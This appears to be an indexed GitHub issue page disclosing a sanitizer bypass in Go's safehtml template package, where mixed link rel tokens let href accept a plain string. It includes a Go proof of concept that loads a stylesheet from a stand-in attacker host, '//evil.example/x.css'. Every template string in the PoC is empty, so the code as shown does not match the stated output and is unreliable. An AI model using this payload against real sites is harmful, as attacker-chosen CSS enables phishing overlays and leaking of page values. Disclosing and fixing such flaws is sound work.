safehtml/template: one URL-ish rel token downgrades a <link href> that another token requires to be a TrustedResourceURL
- Dominant language
- Go
- Stars
- 380
- Forks
- 23
- PR merge metrics
- No merged PRs in 30d
Description
sanitizationContextForAttrVal (template/sanitize.go:148) walks a link element's rel token list and returns on the first token found in urlLinkRelVals:
```
if element == "link" && attr == "href" {
relVals := strings.Fields(linkRel)
for _, val := range relVals {
if urlLinkRelVals[val] {
return sanitizationContextTrustedResourceURLOrURL, nil
}
}
}
```
rel holds a space separated set of tokens and a browser honours all of them. The loop never checks whether a later token demands the stricter contract, so any single permissive token relaxes the whole element. rel="stylesheet" alone correctly requires a TrustedResourceURL. rel="icon stylesheet" contains "icon", which is in urlLinkRelVals, so the href drops to TrustedResourceURLOrURL and accepts a plain string, while the browser still applies the stylesheet.
Minimal PoC against current safehtml:
```
mkdir poc && cd poc
go mod init poc
go get github.com/google/safehtml@v0.1.0
# save the file below as main.go
go run .
```
```
package main
import (
"fmt"
"strings"
"github.com/google/safehtml/template"
)
func render(label string, t *template.Template, err error) {
if err != nil {
fmt.Printf("%-26s parse rejected: %v\n", label, err)
return
}
var out strings.Builder
if err := t.Execute(&out, map[string]interface{}{"X": "//evil.example/x.css"}); err != nil {
fmt.Printf("%-26s rejected: %v\n", label, err)
return
}
fmt.Printf("%-26s %s\n", label, out.String())
}
func main() {
a, aerr := template.New("a").Parse(``)
render(`rel="stylesheet"`, a, aerr)
b, berr := template.New("b").Parse(``)
render(`rel="icon stylesheet"`, b, berr)
c, cerr := template.New("c").Parse(``)
render(`rel="preload stylesheet"`, c, cerr)
d, derr := template.New("d").Parse(``)
render(`rel="alternate stylesheet"`, d, derr)
}
```
Actual output:
```
rel="stylesheet" rejected: template: a:1:31: executing "a" at <_sanitizeTrustedResourceURL>: error calling _sanitizeTrustedResourceURL: expected a safehtml.TrustedResourceURL value
rel="icon stylesheet"
rel="preload stylesheet"
rel="alternate stylesheet"
```
The result is a stylesheet fetched from an origin the attacker chose and applied to the page: attribute selector exfiltration of rendered values, UI redressing, and @import or font chaining onward. rel="icon stylesheet" and rel="preload stylesheet" are applied immediately with no user interaction; the alternate stylesheet form needs the user to select it, so it is the weakest of the three.
### Attack scenario
A remote attacker who controls a URL rendered into an affected mixed-rel can bypass the TrustedResourceURL requirement and load an attacker-controlled stylesheet without user interaction. This can enable page-content manipulation, credential-phishing UI, and limited disclosure of DOM attribute values, subject to CSP and browser restrictions.
Contributor guide
Research direction
Start in template/sanitize.go at sanitizationContextForAttrVal, line 148, and trace how every token in a link element's rel value affects the href context. Reproduce the supplied Go PoC, especially the mixed-rel cases, then verify that any rel value containing stylesheet still requires TrustedResourceURL and rejects the attacker-controlled plain string.
Written by the indexing model from the issue text.
Assessment
- Tech stack
- go
- Domain
- security
- Issue type
- Bug
- Difficulty
- 2/5
- Estimated time
- 1-3 hours
- Activity status
- Active
- Clarity
- Clearly specified
- Newbie friendliness
- 76/100